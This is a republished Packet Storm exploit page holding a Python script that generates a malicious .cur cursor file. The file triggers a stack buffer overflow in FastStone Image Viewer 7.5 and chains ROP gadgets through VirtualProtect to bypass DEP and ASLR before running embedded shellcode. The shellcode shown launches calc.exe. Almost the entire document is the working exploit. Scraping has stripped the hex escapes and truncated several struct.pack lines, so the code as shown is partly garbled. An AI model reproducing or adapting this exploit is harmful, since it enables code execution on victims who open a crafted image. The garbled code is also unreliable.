FastStone Image Viewer 7.5 Buffer Overflow ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on March 19th, 2021 📆 | 4867 Views ⚑

0

FastStone Image Viewer 7.5 Buffer Overflow ≈ Packet Storm

# Exploit title: FastStone Image Viewer 7.5 – .cur BITMAPINFOHEADER ‘BitCount’ Stack Based Buffer Overflow (ASLR & DEP Bypass)
# Exploit Author: Paolo Stagno
# Date: 15/03/2020
# Vendor Homepage: https://www.faststone.org/
# Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe
# https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/
# Version: 7.5
# Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256
# Category: local exploit
# Platform: windows

# Module info :
#———————————————————————————————————————-
#Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
#———————————————————————————————————————-
#0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:Program Files (x86)FastStone Image ViewerFSViewer.exe)
#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:Program Files (x86)FastStone Image Viewerfsplugin05.dll)
#0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:Program Files (x86)FastStone Image Viewerfsplugin06.dll)
#———————————————————————————————————————-

#!/usr/bin/python
import struct, sys
print(“n[>] FastStone Image Viewer v. < = 7.5 Exploit by VoidSecn")

filename=”FSViewer_v.7.5_exploit.cur”

###################################################################################
# Shellcode
# MAX Shellcode size: 556
# ImageData – ROP NOP – Rop Chain – Stack Adjustment = 776 – 144 – 68 – 8 = 556
# Custom calc.exe shellcode
# size: 112
###################################################################################

shellcode=(
“x31xdbx64x8bx7bx30x8bx7f”
“x0cx8bx7fx1cx8bx47x08x8b”
“x77x20x8bx3fx80x7ex0cx33”
“x75xf2x89xc7x03x78x3cx8b”
“x57x78x01xc2x8bx7ax20x01”
“xc7x89xddx8bx34xafx01xc6”
“x45x81x3ex43x72x65x61x75”
“xf2x81x7ex08x6fx63x65x73”
“x75xe9x8bx7ax24x01xc7x66”
“x8bx2cx6fx8bx7ax1cx01xc7”
“x8bx7cxafxfcx01xc7x89xd9”
“xb1xffx53xe2xfdx68x63x61”
“x6cx63x89xe2x52x52x53x53”
“x53x53x53x53x52x53xffxd7”
)

if (len(shellcode)>556):
sys.exit(“Shellcode’s size must be < = 556 bytes")

###################################################################################
# Cur File Format
# ———————————————————————————
# | Reserved | Type | Image Count |
# | 00 00 | 02 00 | 02 00 | < - CUR file will contains two images
# Entries:
# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |
# | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | < - we'll corrupt the first image with rop chain & shellcode
# | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | < - while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)
# 1st Image Info Header:
# | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |
# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
# 1st ImageData(BLOB)
# 2nd Image Info Header:
# 2nd ImageData(BLOB)
# ———————————————————————————
# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow
# its value can be modified but we need to account for two operations happening into the software.
# – SHL 1, 89 = 0x200
# – SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file
# we’ll have to pad the image data to match it’s size in bytes defined in the header SizeInBytes
# ImageData = SizeInBytes – ImageInfoHeader Size (330h-28h=308h 776d)
###################################################################################

image_data_pad = 776

def create_rop_nop():
rop_gadgets = [
0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}
]return ”.join(struct.pack(‘

def create_rop_chain():
rop_gadgets = [
#[—INFO:gadgets_to_set_esi:—]0x00405bd4, # POP EAX ; RETN [FSViewer.exe]
0x6adf4160, # ptr to &VirtualProtect() [IAT fsplugin05.dll]0x008b3977, # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe]
0x0083f67a, # XCHG EAX,ESI ; RETN [FSViewer.exe]
#[—INFO:gadgets_to_set_ebp:—]0x005b35b8, # POP EBP ; RETN [FSViewer.exe]
0x00454521, # & jmp esp [FSViewer.exe]#[—INFO:gadgets_to_set_ebx:—]0x00630472, # POP EBX ; RETN [FSViewer.exe]
0x00000201, # 0x00000201-> ebx
#[—INFO:gadgets_to_set_edx:—]0x004798db, # POP EDX ; RETN [FSViewer.exe]
0x00000040, # 0x00000040-> edx
#[—INFO:gadgets_to_set_ecx:—]0x004c7832, # POP ECX ; RETN [FSViewer.exe]
0x00991445, # &Writable location [FSViewer.exe]#[—INFO:gadgets_to_set_edi:—]0x0040c3a8, # POP EDI ; RETN [FSViewer.exe]
0x0057660b, # RETN (ROP NOP) [FSViewer.exe]#[—INFO:gadgets_to_set_eax:—]0x00404243, # POP EAX ; RETN [FSViewer.exe]
0x90909090, # nop
#[—INFO:pushad:—]0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll]
]return ”.join(struct.pack(‘

# Cur image = 1597 bytes
###################################################################################
cur_Signature = “x00x00x02x00x02x00” # | Reserved | Type | Image Count |
cur_Entries = (
“x30x30x00x00x01x00x02x00x30x03x00x00x26x00x00x00” # 1st Entry
“x20x20x00x00x02x00x04x00xE8x02x00x00x56x03x00x00” # 2nd Entry
)
# 1st Image Info Header
cur_1InfoHeader = “x28x00x00x00x30x00x00x00x60x00x00x00x01x00x89x30x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”
# 1st ImageData
# cur_1ImageData_orig = “x00x00x00x00xFFxFFxFFx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x07xC0x00x00x00x00x00x00x08x20x00x00x00x00x00x00x08x20x00x00x00x00x00x00x10x40x00x00x00x00x00x00x10x40x00x00x00x00x00x00x20x80x00x00x00x00x00x00x20x80x00x00x00x00x00x80x41x00x1Fx80x00x00x00xC0x41x00x3FxC0x00x00x00xA0x82x00x3FxC0x00x00x00x90x82x00x1Fx80x00x00x00x89x04x00x00x00x00x00x00x85x04x00x1Fx80x00x00x00x82x08x00x1Fx80x00x00x00x80x0FxFEx1Fx80x00x00x00x80x00x04x1Fx80x00x00x00x80x00x08x0Fx80x00x00x00x80x00x10x07xC0x00x00x00x80x00x20x03xE0x00x00x00x80x00x47xC1xF0x00x00x00x80x00x87xC1xF8x00x00x00x80x01x07xC1xFCx00x00x00x80x02x07xC1xFCx00x00x00x80x04x07xC1xFCx00x00x00x80x08x07xC1xFCx00x00x00x80x10x07xE3xFCx00x00x00x80x20x03xFFxF8x00x00x00x80x40x01xFFxF0x00x00x00x80x80x00xFFxE0x00x00x00x81x00x00x00x00x00x00x00x82x00x00x00x00x00x00x00x84x00x00x00x00x00x00x00x88x00x00x00x00x00x00x00x90x00x00x00x00x00x00x00xA0x00x00x00x00x00x00x00xC0x00x00x00x00x00x00x00x80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00xFFxF8x3FxFFxFFxFFx00x00xFFxF0x1FxFFxFFxFFx00x00xFFxF0x1FxFFxFFxFFx00x00xFFxE0x3FxFFxFFxFFx00x00xFFxE0x3FxFFxFFxFFx00x00xFFxC0x7FxFFxFFxFFx00x00xFFxC0x7FxE0x7FxFFx00x00x7Fx80xFFxC0x3FxFFx00x00x3Fx80xFFx80x1FxFFx00x00x1Fx01xFFx80x1FxFFx00x00x0Fx01xFFxC0x3FxFFx00x00x06x03xFFxE0x7FxFFx00x00x02x03xFFxC0x3FxFFx00x00x00x07xFFxC0x3FxFFx00x00x00x00x01xC0x3FxFFx00x00x00x00x03xC0x3FxFFx00x00x00x00x07xE0x3FxFFx00x00x00x00x0FxF0x1FxFFx00x00x00x00x10x18x0FxFFx00x00x00x00x30x1Cx07xFFx00x00x00x00x70x1Cx03xFFx00x00x00x00xF0x1Cx01xFFx00x00x00x01xF0x1Cx01xFFx00x00x00x03xF0x1Cx01xFFx00x00x00x07xF0x1Cx01xFFx00x00x00x0FxF0x00x01xFFx00x00x00x1FxF8x00x03xFFx00x00x00x3FxFCx00x07xFFx00x00x00x7FxFEx00x0FxFFx00x00x00xFFxFFx00x1FxFFx00x00x01xFFxFFxFFxFFxFFx00x00x03xFFxFFxFFxFFxFFx00x00x07xFFxFFxFFxFFxFFx00x00x0FxFFxFFxFFxFFxFFx00x00x1FxFFxFFxFFxFFxFFx00x00x3FxFFxFFxFFxFFxFFx00x00x7FxFFxFFxFFxFFxFFx00x00xFFxFFxFFxFFxFFxFFx00x00”
print(“Generating 1st ImageData BLOB:”)
cur_1ImageData = “”
cur_1ImageData += create_rop_nop() * ( (1560 – 1416 ) / 4 ) # 1560 stack pivot – 1416 where our cyclic pattern has been found
print(“- ROP NOP:tt{}”.format(len(cur_1ImageData)))
cur_1ImageData += create_rop_chain()
print(“- ROP Chain:tt{}”.format(len(create_rop_chain())))
cur_1ImageData += “x81xC4x44xFDxFFxFFx90x90” # stack adjustment for meterpreter GetPC routine: add esp, -700
print(“- Stack Adjustment:t8”)
cur_1ImageData += shellcode
print(“- Shellcode:tt{}”.format(len(shellcode)))
cur_1ImageData += “A” * (image_data_pad – len(cur_1ImageData))
# 2nd Image Info Header
cur_2InfoHeader = “x28x00x00x00x20x00x00x00x40x00x00x00x01x00x04x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”
# 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section)
cur_2ImageData = “x00x00x00x00x00x00x00x00x00x80x00x00x00x80x80x00x80x00x00x00x80x00x80x00x80x80x00x00xC0xC0xC0x00x80x80x80x00x00x00xFFx00x00xFFx00x00x00xFFxFFx00xFFx00x00x00xFFx00xFFx00xFFxFFx00x00xFFxFFxFFx00x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x1FxFFx11x11x11x11x11x11x11x11x11x11x11x11x11x11xF0x00xF1x11x11x11x11x11x11x11x11x11x11x11x11x11xF0x00xF1x11x11x11x11x11x11x11x11x11x11x11x11x1Fx00x0Fx11x11x11x10x00x11x11x11x11x11x11x11x11x1Fx00x0Fx11x11x11x0FxFFx01x11x11x11x11xF1x11x11xF0x00xF1x11x11x10xFFxFFxF0x11x11x11x11xFFx11x11xF0x00xF1x11x11x11x0FxFFx01x11x11x11x11xF0xF1x1Fx00x0Fx11x11x11x11x10x00x11x11x11x11x11xF0x0Fx1Fx00x0Fx11x11x11x11x0FxFFx01x11x11x11x11xF0x00xF0x00xF1x11x11x11x11x0FxFFx01x11x11x11x11xF0x00x00x00xFFxFFxFFxF1x11x0FxFFx01x11x11x11x11xF0x00x00x00x00x00x0Fx11x11x10xFFxF0x11x11x11x11xF0x00x00x00x00x00xF1x00x00x01x0FxFFx01x11x11x11xF0x00x00x00x00x0Fx11x0FxFFx01x10xFFxF0x11x11x11xF0x00x00x00x00xF1x11x0FxFFx01x10xFFxFFx01x11x11xF0x00x00x00x0Fx11x11x0FxFFx01x10xFFxFFx01x11x11xF0x00x00x00xF1x11x11x0FxFFx01x10xFFxFFx01x11x11xF0x00x00”
# SEH record overwrite goes here
cur_2ImageData2 = “x00xFFxF0x0FxFFxF0x11x11x11xF0x00x00xF1x11x11x11x11x0FxFFxFFxFFx01x11x11x11xF0x00x0Fx11x11x11x11x11x10x00x00x00x11x11x11x11xF0x00xF1x11x11x11x11x11x11x11x11x11x11x11x11x11xF0x0Fx11x11x11x11x11x11x11x11x11x11x11x11x11x11xF0xF1x11x11x11x11x11x11x11x11x11x11x11x11x11x11xFFx11x11x11x11x11x11x11x11x11x11x11x11x11x11x11xF1x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11x11xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxE3xFFxFFxFFxC1xFFxFFxFFxC1xFFxFFxFFx83xF8xFFxFFx83xF0x7FxDFx07xE0x3FxCFx07xF0x7FxC6x0FxF8xFFxC2x0FxF0x7FxC0x1FxF0x7FxC0x00x70x7FxC0x00xF8x3FxC0x01x04x1FxC0x03x06x0FxC0x07x06x07xC0x0Fx06x07xC0x1Fx06x07xC0x3Fx80x0FxC0x7FxC0x1FxC0xFFxE0x3FxC1xFFxFFxFFxC3xFFxFFxFFxC7xFFxFFxFFxCFxFFxFFxFFxDFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF”
###################################################################################

buf = “”
buf += cur_Signature
buf += cur_Entries
buf += cur_1InfoHeader
buf += cur_1ImageData
buf += cur_2InfoHeader
buf += cur_2ImageData
# buf += struct.pack(‘# 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775
buf += struct.pack(‘buf += cur_2ImageData2

#buf += “B” * (buf_max_size – len(buf))
print(“nWriting CUR File:”)
print(“——————————————————–“)
print(“- Signature + ImageCount:t{}”.format(len(cur_Signature)))
print(“- Entries 2/2:ttt{}”.format(len(cur_Entries)))
print(“- 1st InfoHeader:tt{}”.format(len(cur_1InfoHeader)))
print(“- 1st ImageData:tt{}”.format(len(cur_1ImageData)))
print(“- 2nd InfoHeader:tt{}”.format(len(cur_2InfoHeader)))
print(” 2nd ImageData 1/2:t{}”.format(len(cur_2ImageData)))
print(” SEH:ttt4″)
print(” 2nd ImageData 2/2:t{}”.format(len(cur_2ImageData2)))
print(“- 2nd ImageData TOT:tt{}”.format(len(cur_2ImageData)+4+len(cur_2ImageData2)))
print(“——————————————————–“)
print(“[+] Writing total {} bytes on {}”.format(len(buf), filename))
file = open(filename, “w”);
file.write(buf);
file.close();

Source link

Tagged with:



Leave a Reply